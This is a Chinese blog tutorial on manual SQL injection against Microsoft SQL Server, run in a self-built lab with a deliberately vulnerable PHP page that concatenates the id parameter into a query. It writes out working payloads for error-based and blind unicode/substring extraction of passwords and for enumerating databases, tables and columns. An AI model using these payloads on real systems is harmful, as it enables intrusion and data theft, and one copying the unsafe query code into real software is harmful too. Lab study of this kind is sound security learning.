美文网首页
对SQL Server 数据库的手动注入

对SQL Server 数据库的手动注入

作者: CSeroad | 来源:发表于2018-04-04 13:59 被阅读22次

    根据需要,对之前安装成功的sql server数据库和php进行连接,进行注入测试,自己搭建测试环境

    实验环境:

    虚拟机windows下的sql server数据库环境

    实验源代码:

    <?php

    header("Content-type:text/html; charset=gbk");

    $serverName = "127.0.0.1"; //数据库服务器地址

    $uid="sa";

    $pwd="123456";

    $connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");

    $conn = sqlsrv_connect($serverName, $connectionInfo);

    if($conn == false){

    echo "连接失败!";

    var_dump(sqlsrv_errors());

    exit;

    }else{

    //echo "链接成功"

    //$sql = "select * from users where  id='".$id."'";

    $sql = "select * from users where  id=".$id;

    echo $sql."<hr/>";

    $result = sqlsrv_query($conn,$sql);

    if(empty(sqlsrv_errors())){

    while($num=sqlsrv_fetch_array($result)){

    print_r($num['name']);

    }

    }else{

    $error=sqlsrv_errors();

    echo $error[0][2];

    }

    sqlsrv_close($conn);

    }

    ?>

    在sql server  数据库中建立users表,添加字段、数据后

    进行测试,在本机上进行访问

    基本注入

    首先是整数型的注入

    返回正常 返回不正常

    1=1正常,1=2不正常,判断有注入点

    进行注入

    返回正常

    通过判断有无sysobjects表,(每个数据库都会系统创建sysobjects表),来判断是否是sql  server 数据库

    返回正常,为sql  server  数据库

    爆出数据库版本 当前数据库名称

    如果是字符型呢?sql语句需要进行修改

    $sql = "select * from abc where  id='".$id."'";

    继续进行字符型注入

    本地服务器名称

    同样的道理

    判断系统管理员 判断为库权限

    进行一些基本的判断

    获取数据的注入

    通过报错注入

    通过having子句获取当前表和列,然后进行递归获取所有

    user.name user.password 返回正常

    证明当前有三个字段

    进入数据库,进行验证

    再次注入,获取password中的数据

    通过unicode编码

    通过把每一位的unicode编码遍历出进行数值比较大小,也方便使用二分法

    注入语句为:

    and (select top  1  unicode(substring(password,1,1)) from users)>=49

    and (select top 1    unicode(substring(password,2,1)) from users)>=50

    遍历出结果:49,50,51,52,53,54--------1,2,3,4,5,6--------123456

    猜解第二列,也是同样的道理

    可以总结:

    and (select top 1 id,unicode(substring(字段名,第几个字母,1))  from  表名)  where  id  not in (1)

    通过not遍历多少条数据

    and (select top 1 unicode(substring(字段名,第几个字母,1))  from  表名)>0

    这样,数据库中的demo该表的全部信息都能获取

    获取其他数据库信息的注入

    获取其他数据库

    注入语句为

    1'  and  (select top 1 name  from  master..sysdatabases)>0 -- '

    将该注入语句放在sql  server数据库中进行分析

    SELECT  Name  FROM  Master..SysDatabases  ORDER  BY  Name

    分组查询 查询结果

    通过where条件可以获取所欲数据库名

    demo数据库

    语句为:

    id=1'  and  (select top 1  name  from  master..sysdatabases  where  name  not  in  ('master')  order  by name)>0 -- '

    获得demo数据库,再次注入获取数据表

    获取users表

    语句为:

    id=1'  and  (select top 1 name from  demo.sys.all_objects  where  type='U'  )>0  --'

    有了demo数据库,users数据表,到了获取字段

    获取id字段

    语句为:

    id=1'  and  (select top 1 COLUMN_NAME from demo.information_schema.columns  where TABLE_NAME='users') >0 --'

    继续获取第二个字段,通过where子语句

    获取name字段

    语句为

    id=1' and  (select top 1 COLUMN_NAME from  demo.information_schema.columns  where TABLE_NAME='users'  and  COLUMN_NAME  not  in  ('id') ) >0  -- '

    知道数据库名称,表,字段,进行获取数据

    获取数据

    还可以跨表查询,在sql  server数据库中新建一个数据库manager,表名为message

    查询数据

    语句为

    id=1'  and 1=( select  top  1  name  from  数据库名.dbo.数据表名)

    相关文章

      网友评论

          本文标题:对SQL Server 数据库的手动注入

          本文链接:https://www.haomeiwen.com/subject/abkkhftx.html